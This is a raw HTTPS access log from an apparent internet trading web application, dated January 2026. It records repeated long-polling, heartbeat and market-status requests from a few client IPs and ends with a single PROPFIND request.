[09/Jan/2026:11:38:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930188951 HTTP/1.1" -
[09/Jan/2026:11:38:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930192431 HTTP/1.1" -
[09/Jan/2026:11:38:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930191039 HTTP/1.1" -
[09/Jan/2026:11:38:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930194110 HTTP/1.1" -
[09/Jan/2026:11:38:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:38:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:38:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:38:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:38:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930197456 HTTP/1.1" -
[09/Jan/2026:11:38:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930196113 HTTP/1.1" -
[09/Jan/2026:11:38:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930199244 HTTP/1.1" -
[09/Jan/2026:11:38:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:38:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:38:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:38:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:38:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930202484 HTTP/1.1" -
[09/Jan/2026:11:38:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930201182 HTTP/1.1" -
[09/Jan/2026:11:38:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:38:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:38:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930204358 HTTP/1.1" -
[09/Jan/2026:11:38:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930207532 HTTP/1.1" -
[09/Jan/2026:11:38:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930206214 HTTP/1.1" -
[09/Jan/2026:11:38:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:38:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:39:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930209415 HTTP/1.1" -
[09/Jan/2026:11:39:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930212568 HTTP/1.1" -
[09/Jan/2026:11:39:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930211291 HTTP/1.1" -
[09/Jan/2026:11:39:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930214484 HTTP/1.1" -
[09/Jan/2026:11:39:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930217585 HTTP/1.1" -
[09/Jan/2026:11:39:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930216372 HTTP/1.1" -
[09/Jan/2026:11:39:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930219687 HTTP/1.1" -
[09/Jan/2026:11:39:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930222627 HTTP/1.1" -
[09/Jan/2026:11:39:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930221456 HTTP/1.1" -
[09/Jan/2026:11:39:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930224881 HTTP/1.1" -
[09/Jan/2026:11:39:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:39:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:39:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:39:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:39:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930227670 HTTP/1.1" -
[09/Jan/2026:11:39:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930226528 HTTP/1.1" -
[09/Jan/2026:11:39:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:39:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:39:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930230010 HTTP/1.1" -
[09/Jan/2026:11:39:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:39:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:39:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930232690 HTTP/1.1" -
[09/Jan/2026:11:39:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:39:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:39:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930231610 HTTP/1.1" -
[09/Jan/2026:11:39:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930235142 HTTP/1.1" -
[09/Jan/2026:11:39:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930237714 HTTP/1.1" -
[09/Jan/2026:11:39:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930236642 HTTP/1.1" -
[09/Jan/2026:11:39:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:39:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:39:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930240225 HTTP/1.1" -
[09/Jan/2026:11:39:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930242761 HTTP/1.1" -
[09/Jan/2026:11:39:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930241714 HTTP/1.1" -
[09/Jan/2026:11:39:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930245289 HTTP/1.1" -
[09/Jan/2026:11:39:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930261909 HTTP/1.1" -
[09/Jan/2026:11:39:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930247799 HTTP/1.1" -
[09/Jan/2026:11:39:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930246778 HTTP/1.1" -
[09/Jan/2026:11:39:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930250444 HTTP/1.1" -
[09/Jan/2026:11:39:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930252837 HTTP/1.1" -
[09/Jan/2026:11:39:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930251889 HTTP/1.1" -
[09/Jan/2026:11:39:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930255603 HTTP/1.1" -
[09/Jan/2026:11:39:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:39:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:39:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:39:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:39:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930257856 HTTP/1.1" -
[09/Jan/2026:11:39:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930256955 HTTP/1.1" -
[09/Jan/2026:11:39:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:39:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:39:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930260752 HTTP/1.1" -
[09/Jan/2026:11:39:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:39:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:39:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930262879 HTTP/1.1" -
[09/Jan/2026:11:39:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:39:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:39:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930262225 HTTP/1.1" -
[09/Jan/2026:11:39:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930265882 HTTP/1.1" -
[09/Jan/2026:11:39:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930267925 HTTP/1.1" -
[09/Jan/2026:11:39:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:39:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:39:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930267262 HTTP/1.1" -
[09/Jan/2026:11:40:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930270951 HTTP/1.1" -
[09/Jan/2026:11:40:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930272947 HTTP/1.1" -
[09/Jan/2026:11:40:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930272318 HTTP/1.1" -
[09/Jan/2026:11:40:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930276014 HTTP/1.1" -
[09/Jan/2026:11:40:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930277976 HTTP/1.1" -
[09/Jan/2026:11:40:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930277341 HTTP/1.1" -
[09/Jan/2026:11:40:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930281206 HTTP/1.1" -
[09/Jan/2026:11:40:13 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
